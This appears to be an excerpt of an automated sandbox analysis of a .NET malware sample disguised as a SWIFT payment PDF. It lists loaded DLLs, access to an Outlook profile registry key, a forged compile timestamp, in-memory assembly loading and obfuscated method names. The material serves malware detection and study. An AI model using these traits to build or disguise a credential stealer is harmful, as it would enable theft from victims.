Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: YuCz.pdbSHA256 source: Swift Copy TT USDUSD$23,401.PDF.exe
Source:	Binary string: YuCz.pdb source: Swift Copy TT USDUSD$23,401.PDF.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.3cb9f78.4.raw.unpack, MainForm.cs	.Net Code: _200C_202A_200E_202D_202D_206E_202D_202E_202A_206A_200E_202D_206B_206B_206E_206A_202C_206E_202E_200D_206B_206E_202C_202C_202B_200E_200C_202B_202C_206E_200D_200E_206C_202A_202E_206C_202B_202D_206B_200C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.3c99f58.0.raw.unpack, MainForm.cs	.Net Code: _200C_202A_200E_202D_202D_206E_202D_202E_202A_206A_200E_202D_206B_206B_206E_206A_202C_206E_202E_200D_206B_206E_202C_202C_202B_200E_200C_202B_202C_206E_200D_200E_206C_202A_202E_206C_202B_202D_206B_200C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	.Net Code: t5GSXymohC System.Reflection.Assembly.Load(byte[])
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	.Net Code: t5GSXymohC System.Reflection.Assembly.Load(byte[])
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	.Net Code: t5GSXymohC System.Reflection.Assembly.Load(byte[])

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: 0xC4737DD4 [Mon Jun 11 00:39:48 2074 UTC]

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07637298 push cs; ret	0_2_07637299
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C9C30 push esp; retf 02B2h	2_2_010C9D55
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A87EB push es; ret	2_2_069A8920
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A38DF push eax; iretd	2_2_069A38F2
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A8822 push es; ret	2_2_069A8920
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A8863 push es; ret	2_2_069A8920
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A39D5 push edx; iretd	2_2_069A39DA

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: section name: .text entropy: 7.682429345056732

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, GAk8ihtBa5W1IjF2oS.cs	High entropy of concatenated method names: 'FYGnlNxysf', 'xOVnGwpYl5', 'uPtnogQOkG', 'wwLoClvjtY', 'aKYozJjbJY', 'R7ZnNdLlUr', 'JatnJsa0pC', 'hYin31KGid', 'NIQnwmvcs1', 'SV3nSjlQLG'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, nQ7wrtOUeqtYQkPrOP.cs	High entropy of concatenated method names: 'Db8M4R0Hmp', 'js1MrA49jI', 'mmEMgHZsD4', 'ey6MxSPn8a', 'SagMHB3QYe', 'E71M1JAk3J', 'P93Mt0F4Lm', 'rCZMeJevIs', 'wQjMITYJHi', 'thmMYtBfS2'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, jU4QiGWcKqOGdqRA7H.cs	High entropy of concatenated method names: 'ToString', 'JDDqsYAahk', 'KKNqrG6Nbk', 'eyaqg4SsuQ', 'DvxqxgJ5Ir', 'PRxqHlU6ba', 'Rbnq1lbe6o', 'HZ9qtieX1g', 'KLHqevNFOc', 'MMWqINxIs6'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, Cvg56jCKLuGN9qnAmj.cs	High entropy of concatenated method names: 'RgOUGfp5YA', 'TOKU0BTw5s', 'tDUUoFBWiH', 'tB3UndQGbT', 'XUgUM2tVr2', 'JlnUvhVJvT', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, A2a2n9jgNGDhXoeYbl.cs	High entropy of concatenated method names: 'cE6MTvx2ta', 'vCaMhMjhRn', 'vt3MMaK9LQ', 'BUqMfXOvPA', 'roDMA5BIcD', 'ywxMcw37ol', 'Dispose', 'eMHFlFOBhO', 'UntFLiu6c3', 'dJ7FGj1rer'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, rMB5jG4QCpHfhvHovr.cs	High entropy of concatenated method names: 'OLTo90hjoo', 'REXoL2T6rL', 'P4qo0uPjd0', 'SI3ontHvC4', 'IyJovVxWkW', 'zZY0uuorgs', 'Eq30Bh4von', 'YiU0jZKtRQ', 'b8T0EDQK0o', 'VDZ0OuosmW'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, YiBkDligENmtVURwGC.cs	High entropy of concatenated method names: 'scTh7SGolb', 'Xx0h6MOZ07', 'ToString', 'aENhlTZeKH', 'jyuhLBCgiK', 'jTphGyDTBk', 'gRoh0OjOJj', 'BViho7rOfC', 'E66hnnSU1J', 'vLohvF7A5U'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, HBAAU6Zc1wT5mNwguv.cs	High entropy of concatenated method names: 'aCq0R2Hdxh', 'BMd0KHl48O', 'B9yGgV0XAt', 'KcmGxvgcVX', 'mFRGHggDcH', 'bNKG1wmEBF', 'IMTGtpdEMY', 'JZDGe6h5Yp', 'vYJGIAD3LR', 'jRWGYHTbFH'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, BQD6XWzbHEffuGqKR0.cs	High entropy of concatenated method names: 'kWWUmXHWUK', 'EO6UQmevYC', 'y4MUkWs9ud', 'JuOU4RFqFs', 'Oc4UrXXNov', 'r32Ux4UiCt', 'l9BUHqvXWB', 'lW3Uct9Jgs', 'EwBU8ECyLh', 'TpfUpLLUFI'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, fqhchwBgphISV1i3HW.cs	High entropy of concatenated method names: 'VYQhEmLMc9', 'TEKhCrGr8Y', 'UmaFNdJCOs', 'mWfFJGITvM', 'u6Fhsurqgu', 'rENh2Z6wfJ', 'fvehafKeIe', 'JTjhVsxBvF', 'qqKhP29f31', 'r44hW3AKFM'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, OPPpkDkjPXW6MvfLTh.cs	High entropy of concatenated method names: 'A2TGDtB9BW', 'KrmGm5PerZ', 'c77GQ1Dy7x', 'OGpGkRQFOr', 'YAoGTLR4SH', 'EP8Gq7bLyK', 'dIFGh1gVEB', 'kH2GFZuGhN', 'FPmGMn3D0a', 'iy5GUfSIfn'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	High entropy of concatenated method names: 'ittw9bmqBI', 'LDiwlJ1Vx8', 'YHgwLwCWp3', 'auKwGRkx7u', 'p5Pw0j2qef', 'F6IwosHllH', 'xQ2wngomO6', 'kVXwvrqq3h', 'YGDw5iL08O', 'bflw7BhXQS'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, sphcUmQKOWkVh4kjRk.cs	High entropy of concatenated method names: 'QB7LVw5mcx', 'VHkLPstL5w', 'f46LWYkC3h', 'xalLiyHD7F', 'OFwLuDBS5l', 'rYwLBSZZqS', 'PakLjIbFlF', 'S6WLEYkL0x', 'R8aLOx6tjA', 'F0QLCrFaAo'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, brR4fRI3jDiiDKeLQt.cs	High entropy of concatenated method names: 'Bcqn8NaLmS', 'PXRnpmqrv8', 'UlanX3i8Pc', 'R1TnDVFf9p', 'QBDnROCfJE', 'ga8nmFSM1Y', 'YapnKUuusg', 'OnOnQavg4D', 'lAPnkaVMYu', 'cIonZQjllw'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, OP5y05SJkYcDfUh8rR.cs	High entropy of concatenated method names: 'z1UJnphcUm', 'COWJvkVh4k', 'AjPJ7XW6Mv', 'tLTJ6hrBAA', 'awgJTuvMMB', 'ljGJqQCpHf', 'EnneT0fmsqaX4YKcF2', 'r0Mi8UD0tZdAXtvaN8', 'sCAJJZoexA', 'W62Jw9yxDR'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, wlMmXiamMflVnhmrlw.cs	High entropy of concatenated method names: 'wCldQyZ4kP', 'PnvdkTViGj', 'eDKd4HlZe1', 'SDrdrh6vR2', 'VuAdxSdsuM', 'SsddH75tVO', 'qsvdtoHgPa', 'W9SdeepSjO', 'kn3dYuHwGa', 'WdJdsHseQb'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, sFr5UQ3VBmJh4eof1E.cs	High entropy of concatenated method names: 'ng6Xj58xJ', 'KZRDLqdwD', 'Jv8mPhmsx', 'rGFKOhZW5', 'hL1kOjnnr', 'ksLZtM7Ro', 'e1YaOdGlHTresbxUDQ', 'DlDLl23ljtNNi3L0Jm', 'Q37FBm4g7', 'ICfU7HnKT'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, hv2DojJN0ku3NnWw1iq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'y9sUscGeVe', 'bdAU2lw3Pc', 'rQfUaRC3TA', 'aoUUVPCuYZ', 'S7lUPQn3U8', 'jNPUWxHSUg', 'bXEUioEja1'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, wPm8JEVKZAg6qnsJjZ.cs	High entropy of concatenated method names: 'iIWTY0T8MD', 'YwTT2GljJE', 'C5FTVH0ORo', 'VfpTPbZalW', 'onQTrA221k', 'yl7TgeByDM', 'E4WTxZwABU', 'xB8THXg2Bx', 'MBNT1m6CDK', 'EOJTtDqys8'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, VbT0MOLP8g50MBtTv3.cs	High entropy of concatenated method names: 'Dispose', 'hDhJOXoeYb', 'iwi3rtt17J', 'Mwxa1b5Qna', 'fV4JCS0v8D', 'p3XJzCQFZs', 'ProcessDialogKey', 'uv63NQ7wrt', 'seq3JtYQkP', 'GOP33Kvg56'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, HKxMO2JJUh9Xie2wOrL.cs	High entropy of concatenated method names: 'd1lUCO2c2u', 'NOBUzv8kq3', 'kbwfNRuLal', 'GW2fJHkYfa', 'PpVf3AcO2q', 'cLmfwbRKUn', 'SjVfSJEyTW', 'dOGf9nNk8j', 'DRifleVKN8', 'udFfL5Oo0f'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, wYYTswJScuZEGg3uOyx.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gbDyMA1YiI', 'GJdyU9IqKl', 'MEKyf4mVgt', 'wIOyyfN2Kx', 'AtOyA5QFiF', 'vZBybivFWR', 'wLFycb6Wml'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, GAk8ihtBa5W1IjF2oS.cs	High entropy of concatenated method names: 'FYGnlNxysf', 'xOVnGwpYl5', 'uPtnogQOkG', 'wwLoClvjtY', 'aKYozJjbJY', 'R7ZnNdLlUr', 'JatnJsa0pC', 'hYin31KGid', 'NIQnwmvcs1', 'SV3nSjlQLG'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, nQ7wrtOUeqtYQkPrOP.cs	High entropy of concatenated method names: 'Db8M4R0Hmp', 'js1MrA49jI', 'mmEMgHZsD4', 'ey6MxSPn8a', 'SagMHB3QYe', 'E71M1JAk3J', 'P93Mt0F4Lm', 'rCZMeJevIs', 'wQjMITYJHi', 'thmMYtBfS2'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, jU4QiGWcKqOGdqRA7H.cs	High entropy of concatenated method names: 'ToString', 'JDDqsYAahk', 'KKNqrG6Nbk', 'eyaqg4SsuQ', 'DvxqxgJ5Ir', 'PRxqHlU6ba', 'Rbnq1lbe6o', 'HZ9qtieX1g', 'KLHqevNFOc', 'MMWqINxIs6'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, Cvg56jCKLuGN9qnAmj.cs	High entropy of concatenated method names: 'RgOUGfp5YA', 'TOKU0BTw5s', 'tDUUoFBWiH', 'tB3UndQGbT', 'XUgUM2tVr2', 'JlnUvhVJvT', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, A2a2n9jgNGDhXoeYbl.cs	High entropy of concatenated method names: 'cE6MTvx2ta', 'vCaMhMjhRn', 'vt3MMaK9LQ', 'BUqMfXOvPA', 'roDMA5BIcD', 'ywxMcw37ol', 'Dispose', 'eMHFlFOBhO', 'UntFLiu6c3', 'dJ7FGj1rer'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, rMB5jG4QCpHfhvHovr.cs	High entropy of concatenated method names: 'OLTo90hjoo', 'REXoL2T6rL', 'P4qo0uPjd0', 'SI3ontHvC4', 'IyJovVxWkW', 'zZY0uuorgs', 'Eq30Bh4von', 'YiU0jZKtRQ', 'b8T0EDQK0o', 'VDZ0OuosmW'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, YiBkDligENmtVURwGC.cs	High entropy of concatenated method names: 'scTh7SGolb', 'Xx0h6MOZ07', 'ToString', 'aENhlTZeKH', 'jyuhLBCgiK', 'jTphGyDTBk', 'gRoh0OjOJj', 'BViho7rOfC', 'E66hnnSU1J', 'vLohvF7A5U'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, HBAAU6Zc1wT5mNwguv.cs	High entropy of concatenated method names: 'aCq0R2Hdxh', 'BMd0KHl48O', 'B9yGgV0XAt', 'KcmGxvgcVX', 'mFRGHggDcH', 'bNKG1wmEBF', 'IMTGtpdEMY', 'JZDGe6h5Yp', 'vYJGIAD3LR', 'jRWGYHTbFH'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, BQD6XWzbHEffuGqKR0.cs	High entropy of concatenated method names: 'kWWUmXHWUK', 'EO6UQmevYC', 'y4MUkWs9ud', 'JuOU4RFqFs', 'Oc4UrXXNov', 'r32Ux4UiCt', 'l9BUHqvXWB', 'lW3Uct9Jgs', 'EwBU8ECyLh', 'TpfUpLLUFI'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, fqhchwBgphISV1i3HW.cs	High entropy of concatenated method names: 'VYQhEmLMc9', 'TEKhCrGr8Y', 'UmaFNdJCOs', 'mWfFJGITvM', 'u6Fhsurqgu', 'rENh2Z6wfJ', 'fvehafKeIe', 'JTjhVsxBvF', 'qqKhP29f31', 'r44hW3AKFM'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, OPPpkDkjPXW6MvfLTh.cs	High entropy of concatenated method names: 'A2TGDtB9BW', 'KrmGm5PerZ', 'c77GQ1Dy7x', 'OGpGkRQFOr', 'YAoGTLR4SH', 'EP8Gq7bLyK', 'dIFGh1gVEB', 'kH2GFZuGhN', 'FPmGMn3D0a', 'iy5GUfSIfn'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	High entropy of concatenated method names: 'ittw9bmqBI', 'LDiwlJ1Vx8', 'YHgwLwCWp3', 'auKwGRkx7u', 'p5Pw0j2qef', 'F6IwosHllH', 'xQ2wngomO6', 'kVXwvrqq3h', 'YGDw5iL08O', 'bflw7BhXQS'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, sphcUmQKOWkVh4kjRk.cs	High entropy of concatenated method names: 'QB7LVw5mcx', 'VHkLPstL5w', 'f46LWYkC3h', 'xalLiyHD7F', 'OFwLuDBS5l', 'rYwLBSZZqS', 'PakLjIbFlF', 'S6WLEYkL0x', 'R8aLOx6tjA', 'F0QLCrFaAo'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, brR4fRI3jDiiDKeLQt.cs	High entropy of concatenated method names: 'Bcqn8NaLmS', 'PXRnpmqrv8', 'UlanX3i8Pc', 'R1TnDVFf9p', 'QBDnROCfJE', 'ga8nmFSM1Y', 'YapnKUuusg', 'OnOnQavg4D', 'lAPnkaVMYu', 'cIonZQjllw'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, OP5y05SJkYcDfUh8rR.cs	High entropy of concatenated method names: 'z1UJnphcUm', 'COWJvkVh4k', 'AjPJ7XW6Mv', 'tLTJ6hrBAA', 'awgJTuvMMB', 'ljGJqQCpHf', 'EnneT0fmsqaX4YKcF2', 'r0Mi8UD0tZdAXtvaN8', 'sCAJJZoexA', 'W62Jw9yxDR'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, wlMmXiamMflVnhmrlw.cs	High entropy of concatenated method names: 'wCldQyZ4kP', 'PnvdkTViGj', 'eDKd4HlZe1', 'SDrdrh6vR2', 'VuAdxSdsuM', 'SsddH75tVO', 'qsvdtoHgPa', 'W9SdeepSjO', 'kn3dYuHwGa', 'WdJdsHseQb'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, sFr5UQ3VBmJh4eof1E.cs	High entropy of concatenated method names: 'ng6Xj58xJ', 'KZRDLqdwD', 'Jv8mPhmsx', 'rGFKOhZW5', 'hL1kOjnnr', 'ksLZtM7Ro', 'e1YaOdGlHTresbxUDQ', 'DlDLl23ljtNNi3L0Jm', 'Q37FBm4g7', 'ICfU7HnKT'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, hv2DojJN0ku3NnWw1iq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'y9sUscGeVe', 'bdAU2lw3Pc', 'rQfUaRC3TA', 'aoUUVPCuYZ', 'S7lUPQn3U8', 'jNPUWxHSUg', 'bXEUioEja1'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, wPm8JEVKZAg6qnsJjZ.cs	High entropy of concatenated method names: 'iIWTY0T8MD', 'YwTT2GljJE', 'C5FTVH0ORo', 'VfpTPbZalW', 'onQTrA221k', 'yl7TgeByDM', 'E4WTxZwABU', 'xB8THXg2Bx', 'MBNT1m6CDK', 'EOJTtDqys8'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, VbT0MOLP8g50MBtTv3.cs	High entropy of concatenated method names: 'Dispose', 'hDhJOXoeYb', 'iwi3rtt17J', 'Mwxa1b5Qna', 'fV4JCS0v8D', 'p3XJzCQFZs', 'ProcessDialogKey', 'uv63NQ7wrt', 'seq3JtYQkP', 'GOP33Kvg56'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, HKxMO2JJUh9Xie2wOrL.cs	High entropy of concatenated method names: 'd1lUCO2c2u', 'NOBUzv8kq3', 'kbwfNRuLal', 'GW2fJHkYfa', 'PpVf3AcO2q', 'cLmfwbRKUn', 'SjVfSJEyTW', 'dOGf9nNk8j', 'DRifleVKN8', 'udFfL5Oo0f'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, wYYTswJScuZEGg3uOyx.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gbDyMA1YiI', 'GJdyU9IqKl', 'MEKyf4mVgt', 'wIOyyfN2Kx', 'AtOyA5QFiF', 'vZBybivFWR', 'wLFycb6Wml'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, GAk8ihtBa5W1IjF2oS.cs	High entropy of concatenated method names: 'FYGnlNxysf', 'xOVnGwpYl5', 'uPtnogQOkG', 'wwLoClvjtY', 'aKYozJjbJY', 'R7ZnNdLlUr', 'JatnJsa0pC', 'hYin31KGid', 'NIQnwmvcs1', 'SV3nSjlQLG'
